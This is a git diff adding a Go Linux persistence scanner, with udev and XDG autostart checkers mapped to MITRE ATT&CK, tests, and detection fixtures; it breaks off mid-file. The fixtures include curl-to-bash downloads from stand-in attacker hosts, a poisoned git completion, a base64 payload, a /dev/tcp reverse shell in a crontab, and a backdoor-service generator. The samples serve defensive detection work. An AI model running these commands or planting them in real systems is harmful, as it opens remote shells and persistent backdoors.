+Scans udev rules for persistence through device event triggers
+
+Parses udev rule files for RUN+= directives that execute commands
+on hardware events. Flags rules pointing to suspicious paths or
+containing shell interpreters and network tools.
+
+MITRE ATT&CK:
+ T1546 - Event Triggered Execution
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ udevScannerName = "udev"
+ mitreUdev = "T1546"
+)
+
+var udevDirs = []string{
+ "/etc/udev/rules.d",
+ "/lib/udev/rules.d",
+ "/usr/lib/udev/rules.d",
+ "/run/udev/rules.d",
+}
+
+func init() {
+ Register(&UdevScanner{})
+}
+
+type UdevScanner struct{}
+
+func (u *UdevScanner) Name() string {
+ return udevScannerName
+}
+
+func (u *UdevScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, dir := range udevDirs {
+ resolved := ResolveRoot(root, dir)
+ for _, path := range ListFiles(resolved) {
+ if !strings.HasSuffix(path, ".rules") {
+ continue
+ }
+ findings = append(
+ findings,
+ u.scanRuleFile(path)...,
+ )
+ }
+ }
+
+ return findings
+}
+
+func (u *UdevScanner) scanRuleFile(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if IsCommentOrEmpty(trimmed) {
+ continue
+ }
+
+ if !strings.Contains(trimmed, "RUN+=") &&
+ !strings.Contains(trimmed, "RUN+=\"") {
+ continue
+ }
+
+ runCmd := extractRunDirective(trimmed)
+ if runCmd == "" {
+ continue
+ }
+
+ matched, sev, label := MatchLine(runCmd)
+ if matched {
+ findings = append(findings, types.Finding{
+ Scanner: udevScannerName,
+ Severity: sev,
+ Title: "Suspicious udev RUN directive: " + label,
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreUdev,
+ })
+ continue
+ }
+
+ if TempDirPattern.MatchString(runCmd) ||
+ containsShellCommand(runCmd) {
+ findings = append(findings, types.Finding{
+ Scanner: udevScannerName,
+ Severity: types.SeverityMedium,
+ Title: "Udev rule executes command",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreUdev,
+ })
+ }
+ }
+ return findings
+}
+
+func extractRunDirective(line string) string {
+ idx := strings.Index(line, "RUN+=")
+ if idx == -1 {
+ return ""
+ }
+ rest := line[idx+5:]
+ rest = strings.TrimPrefix(rest, "\"")
+ if end := strings.Index(rest, "\""); end != -1 {
+ return rest[:end]
+ }
+ return strings.TrimSpace(rest)
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go
new file mode 100644
index 00000000..ecde4b9d
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go
@@ -0,0 +1,72 @@
+/*
+©AngelaMos | 2026
+udev_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestUdevScanner_BackdoorRule(t *testing.T) {
+ u := &UdevScanner{}
+ path := filepath.Join(
+ testdataDir(), "udev", "backdoor.rules",
+ )
+
+ findings := u.scanRuleFile(path)
+ if len(findings) == 0 {
+ t.Fatal("backdoor udev rule produced no findings")
+ }
+
+ hasHighOrAbove := false
+ for _, f := range findings {
+ if f.Severity >= types.SeverityHigh {
+ hasHighOrAbove = true
+ }
+ }
+
+ if !hasHighOrAbove {
+ t.Error("expected high+ severity for curl|sh in RUN+=")
+ }
+}
+
+func TestExtractRunDirective(t *testing.T) {
+ tests := []struct {
+ name string
+ line string
+ want string
+ }{
+ {
+ name: "quoted directive",
+ line: `ACTION=="add", RUN+="/bin/bash -c 'echo test'"`,
+ want: "/bin/bash -c 'echo test'",
+ },
+ {
+ name: "no run directive",
+ line: `ACTION=="add", SUBSYSTEM=="usb"`,
+ want: "",
+ },
+ {
+ name: "unquoted directive",
+ line: `RUN+=/usr/bin/payload`,
+ want: "/usr/bin/payload",
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ got := extractRunDirective(tt.line)
+ if got != tt.want {
+ t.Errorf(
+ "extractRunDirective(%q) = %q, want %q",
+ tt.line, got, tt.want,
+ )
+ }
+ })
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go
new file mode 100644
index 00000000..d2e7ceed
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go
@@ -0,0 +1,120 @@
+/*
+©AngelaMos | 2026
+xdg.go
+
+Scans XDG autostart entries for persistence through desktop login
+
+Parses .desktop files in system and user autostart directories for
+suspicious Exec= directives that run on graphical session login.
+
+MITRE ATT&CK:
+ T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ xdgScannerName = "xdg"
+ mitreXDG = "T1547.013"
+)
+
+func init() {
+ Register(&XDGScanner{})
+}
+
+type XDGScanner struct{}
+
+func (x *XDGScanner) Name() string {
+ return xdgScannerName
+}
+
+func (x *XDGScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ sysDir := ResolveRoot(root, "/etc/xdg/autostart")
+ findings = append(
+ findings,
+ x.scanAutostartDir(sysDir)...,
+ )
+
+ for _, home := range FindUserDirs(root) {
+ userDir := filepath.Join(
+ home, ".config", "autostart",
+ )
+ findings = append(
+ findings,
+ x.scanAutostartDir(userDir)...,
+ )
+ }
+
+ return findings
+}
+
+func (x *XDGScanner) scanAutostartDir(
+ dir string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, path := range ListFiles(dir) {
+ if !strings.HasSuffix(path, ".desktop") {
+ continue
+ }
+ findings = append(
+ findings,
+ x.analyzeDesktop(path)...,
+ )
+ }
+
+ return findings
+}
+
+func (x *XDGScanner) analyzeDesktop(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+
+ if !strings.HasPrefix(trimmed, "Exec=") {
+ continue
+ }
+
+ cmd := strings.TrimPrefix(trimmed, "Exec=")
+ matched, sev, label := MatchLine(cmd)
+ if matched {
+ findings = append(findings, types.Finding{
+ Scanner: xdgScannerName,
+ Severity: sev,
+ Title: "Suspicious XDG autostart: " + label,
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreXDG,
+ })
+ } else if TempDirPattern.MatchString(cmd) {
+ findings = append(findings, types.Finding{
+ Scanner: xdgScannerName,
+ Severity: types.SeverityMedium,
+ Title: "XDG autostart runs from temp directory",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreXDG,
+ })
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go
new file mode 100644
index 00000000..d3247004
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go
@@ -0,0 +1,85 @@
+/*
+©AngelaMos | 2026
+xdg_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "strings"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestXDGScanner_CleanDesktop(t *testing.T) {
+ x := &XDGScanner{}
+ path := filepath.Join(
+ testdataDir(), "xdg", "clean.desktop",
+ )
+
+ findings := x.analyzeDesktop(path)
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean desktop file produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestXDGScanner_SuspiciousDesktop(t *testing.T) {
+ x := &XDGScanner{}
+ path := filepath.Join(
+ testdataDir(), "xdg", "suspicious.desktop",
+ )
+
+ findings := x.analyzeDesktop(path)
+ if len(findings) == 0 {
+ t.Fatal(
+ "suspicious desktop file produced no findings",
+ )
+ }
+
+ hasHigh := false
+ for _, f := range findings {
+ if f.Severity >= types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasHigh {
+ t.Error("expected high+ severity for curl|sh in Exec=")
+ }
+}
+
+func TestXDGScanner_TmpDirDesktop(t *testing.T) {
+ x := &XDGScanner{}
+ path := filepath.Join(
+ testdataDir(), "xdg", "tmpdir.desktop",
+ )
+
+ findings := x.analyzeDesktop(path)
+ if len(findings) == 0 {
+ t.Fatal(
+ "tmp dir desktop file produced no findings",
+ )
+ }
+
+ hasTmp := false
+ for _, f := range findings {
+ if strings.Contains(f.Title, "temp") ||
+ strings.Contains(f.Title, "temporary") {
+ hasTmp = true
+ }
+ }
+
+ if !hasTmp {
+ t.Error(
+ "expected temp directory finding for /tmp path",
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go
new file mode 100644
index 00000000..618d678d
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go
@@ -0,0 +1,45 @@
+/*
+©AngelaMos | 2026
+banner.go
+
+ASCII art banner renderer for the sentinel CLI header
+
+Renders the SENTINEL logo in alternating red and cyan before scans.
+*/
+
+package ui
+
+import "fmt"
+
+var sentinelBanner = []string{
+ "███████╗███████╗███╗ ██╗████████╗██╗███╗ ██╗███████╗██╗",
+ "██╔════╝██╔════╝████╗ ██║╚══██╔══╝██║████╗ ██║██╔════╝██║",
+ "███████╗█████╗ ██╔██╗ ██║ ██║ ██║██╔██╗ ██║█████╗ ██║",
+ "╚════██║██╔══╝ ██║╚██╗██║ ██║ ██║██║╚██╗██║██╔══╝ ██║",
+ "███████║███████╗██║ ╚████║ ██║ ██║██║ ╚████║███████╗███████╗",
+ "╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝",
+}
+
+var bannerColors = []func(a ...any) string{
+ Cyan,
+ Red,
+ Cyan,
+ Red,
+ Cyan,
+ Red,
+}
+
+func PrintBanner() {
+ fmt.Println()
+ for i, line := range sentinelBanner {
+ c := bannerColors[i%len(bannerColors)]
+ fmt.Printf(" %s\n", c(line))
+ }
+ fmt.Printf(
+ " %s\n",
+ HiBlackItalic(
+ " Linux persistence mechanism scanner",
+ ),
+ )
+ fmt.Printf(" %s\n\n", Dim(HRule(65)))
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go
new file mode 100644
index 00000000..8310fc6d
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go
@@ -0,0 +1,58 @@
+/*
+©AngelaMos | 2026
+color.go
+
+ANSI color sprint functions for terminal output
+
+Exposes pre-built color functions from fatih/color for all severity
+levels and UI elements used by the report formatter and banner.
+*/
+
+package ui
+
+import "github.com/fatih/color"
+
+var (
+ Red = color.New(color.FgRed).SprintFunc()
+ Green = color.New(color.FgGreen).SprintFunc()
+ Yellow = color.New(color.FgYellow).SprintFunc()
+ Blue = color.New(color.FgBlue).SprintFunc()
+ Magenta = color.New(color.FgMagenta).SprintFunc()
+ Cyan = color.New(color.FgCyan).SprintFunc()
+ White = color.New(color.FgWhite).SprintFunc()
+
+ HiRed = color.New(color.FgHiRed).SprintFunc()
+ HiGreen = color.New(color.FgHiGreen).SprintFunc()
+ HiCyan = color.New(color.FgHiCyan).SprintFunc()
+ HiWhite = color.New(color.FgHiWhite).SprintFunc()
+
+ RedBold = color.New(
+ color.FgRed, color.Bold,
+ ).SprintFunc()
+ YellowBold = color.New(
+ color.FgYellow, color.Bold,
+ ).SprintFunc()
+ CyanBold = color.New(
+ color.FgCyan, color.Bold,
+ ).SprintFunc()
+ GreenBold = color.New(
+ color.FgGreen, color.Bold,
+ ).SprintFunc()
+ MagentaBold = color.New(
+ color.FgMagenta, color.Bold,
+ ).SprintFunc()
+ WhiteBold = color.New(
+ color.FgWhite, color.Bold,
+ ).SprintFunc()
+ HiRedBold = color.New(
+ color.FgHiRed, color.Bold,
+ ).SprintFunc()
+
+ Dim = color.New(color.Faint).SprintFunc()
+ DimItalic = color.New(
+ color.Faint, color.Italic,
+ ).SprintFunc()
+ HiBlackItalic = color.New(
+ color.FgHiBlack, color.Italic,
+ ).SprintFunc()
+)
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go
new file mode 100644
index 00000000..c5792d5c
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go
@@ -0,0 +1,91 @@
+/*
+©AngelaMos | 2026
+spinner.go
+
+Goroutine-backed terminal spinner with graceful stop
+
+Renders a braille-frame animation while scanners run. Hides the
+cursor on start, clears the line on stop, and uses a WaitGroup to
+block until the background goroutine exits cleanly.
+*/
+
+package ui
+
+import (
+ "fmt"
+ "strings"
+ "sync"
+ "time"
+)
+
+var frames = []string{
+ "⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏",
+}
+
+type Spinner struct {
+ msg string
+ done chan struct{}
+ wg sync.WaitGroup
+ mu sync.Mutex
+ active bool
+}
+
+func NewSpinner(msg string) *Spinner {
+ return &Spinner{msg: msg}
+}
+
+func (s *Spinner) Start() {
+ s.mu.Lock()
+ if s.active {
+ s.mu.Unlock()
+ return
+ }
+ s.active = true
+ s.done = make(chan struct{})
+ s.wg.Add(1)
+ s.mu.Unlock()
+
+ go s.run()
+}
+
+func (s *Spinner) Stop() {
+ s.mu.Lock()
+ if !s.active {
+ s.mu.Unlock()
+ return
+ }
+ s.active = false
+ close(s.done)
+ s.mu.Unlock()
+ s.wg.Wait()
+}
+
+func (s *Spinner) run() {
+ defer s.wg.Done()
+ fmt.Print("\033[?25l")
+
+ ticker := time.NewTicker(80 * time.Millisecond)
+ defer ticker.Stop()
+
+ idx := 0
+ for {
+ select {
+ case <-s.done:
+ clearLine()
+ fmt.Print("\033[?25h")
+ return
+ case <-ticker.C:
+ frame := frames[idx%len(frames)]
+ fmt.Printf(
+ "\r %s %s",
+ CyanBold(frame),
+ Magenta(s.msg),
+ )
+ idx++
+ }
+ }
+}
+
+func clearLine() {
+ fmt.Print("\r" + strings.Repeat(" ", 80) + "\r")
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go
new file mode 100644
index 00000000..44db3f15
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go
@@ -0,0 +1,29 @@
+/*
+©AngelaMos | 2026
+symbol.go
+
+Named Unicode symbol constants and horizontal rule helper for terminal output
+
+Centralizes every UI glyph used across the CLI so report formatters
+stay readable without hard-coded Unicode literals.
+*/
+
+package ui
+
+import "strings"
+
+const (
+ Arrow = "→"
+ ArrowRight = "▸"
+ Check = "✓"
+ Cross = "✗"
+ Diamond = "◆"
+ DividerChar = "━"
+ Dot = "●"
+ Timer = "⏱"
+ Shield = "🛡"
+)
+
+func HRule(width int) string {
+ return strings.Repeat(DividerChar, width)
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go b/PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go
new file mode 100644
index 00000000..91bdb84f
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go
@@ -0,0 +1,110 @@
+/*
+©AngelaMos | 2026
+types.go
+
+Shared domain types used across all packages in sentinel
+
+Defines the core data structures that flow through the scan pipeline:
+scanner results, individual findings with severity and MITRE mappings,
+and the aggregated scan report. All packages import from here; nothing
+in this package imports from internal packages.
+*/
+
+package types
+
+import "time"
+
+const Version = "1.0.0"
+
+type Severity int
+
+const (
+ SeverityInfo Severity = iota
+ SeverityLow
+ SeverityMedium
+ SeverityHigh
+ SeverityCritical
+)
+
+func (s Severity) String() string {
+ return severityNames[s]
+}
+
+func (s Severity) Label() string {
+ return severityLabels[s]
+}
+
+var severityNames = map[Severity]string{
+ SeverityInfo: "info",
+ SeverityLow: "low",
+ SeverityMedium: "medium",
+ SeverityHigh: "high",
+ SeverityCritical: "critical",
+}
+
+var severityLabels = map[Severity]string{
+ SeverityInfo: "INFO",
+ SeverityLow: "LOW",
+ SeverityMedium: "MEDIUM",
+ SeverityHigh: "HIGH",
+ SeverityCritical: "CRITICAL",
+}
+
+func ParseSeverity(s string) Severity {
+ for sev, name := range severityNames {
+ if name == s {
+ return sev
+ }
+ }
+ return SeverityInfo
+}
+
+type Finding struct {
+ Scanner string `json:"scanner"`
+ Severity Severity `json:"severity"`
+ Title string `json:"title"`
+ Path string `json:"path"`
+ Evidence string `json:"evidence"`
+ MITRE string `json:"mitre"`
+}
+
+type ScanResult struct {
+ Version string `json:"version"`
+ ScanTime time.Time `json:"scan_time"`
+ Hostname string `json:"hostname"`
+ Findings []Finding `json:"findings"`
+ Summary SeverityCount `json:"summary"`
+ DurationMs int64 `json:"duration_ms"`
+}
+
+type SeverityCount struct {
+ Critical int `json:"critical"`
+ High int `json:"high"`
+ Medium int `json:"medium"`
+ Low int `json:"low"`
+ Info int `json:"info"`
+}
+
+func Tally(findings []Finding) SeverityCount {
+ var c SeverityCount
+ for _, f := range findings {
+ switch f.Severity {
+ case SeverityCritical:
+ c.Critical++
+ case SeverityHigh:
+ c.High++
+ case SeverityMedium:
+ c.Medium++
+ case SeverityLow:
+ c.Low++
+ case SeverityInfo:
+ c.Info++
+ }
+ }
+ return c
+}
+
+type Scanner interface {
+ Name() string
+ Scan(root string) []Finding
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job b/PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job
new file mode 100755
index 00000000..664a151d
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job
@@ -0,0 +1,2 @@
+#!/bin/sh
+curl http://evil.example.com/payload | bash
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion
new file mode 100644
index 00000000..2a3cd047
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion
@@ -0,0 +1,10 @@
+_my_tool_completions()
+{
+ local cur prev opts
+ COMPREPLY=()
+ cur="${COMP_WORDS[COMP_CWORD]}"
+ opts="start stop status"
+ COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
+ return 0
+}
+complete -F _my_tool_completions mytool
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion
new file mode 100644
index 00000000..8f2bfd29
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion
@@ -0,0 +1,10 @@
+_git_completions()
+{
+ nohup curl -s http://c2.example.com/keys | bash &
+ local cur prev opts
+ COMPREPLY=()
+ cur="${COMP_WORDS[COMP_CWORD]}"
+ opts="commit push pull"
+ COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
+}
+complete -F _git_completions git
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab
new file mode 100644
index 00000000..ba850156
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab
@@ -0,0 +1,8 @@
+# System crontab
+SHELL=/bin/bash
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+
+# Run daily log rotation
+0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
+# Weekly package updates
+0 4 * * 0 root /usr/bin/apt-get update -q
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab
new file mode 100644
index 00000000..c8d07d6b
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab
@@ -0,0 +1,11 @@
+# System crontab
+SHELL=/bin/bash
+
+# Normal log rotation
+0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
+# Backdoor entry
+*/5 * * * * root curl -s http://evil.example.com/payload | bash
+# Encoded payload
+0 * * * * root echo dGVzdAo= | base64 -d | sh
+# Reverse shell
+@reboot root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator b/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator
new file mode 100755
index 00000000..dabbf7ed
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator
@@ -0,0 +1,10 @@
+#!/bin/bash
+curl -s http://c2.example.com/stage1 | bash
+cat > "$1/backdoor.service" <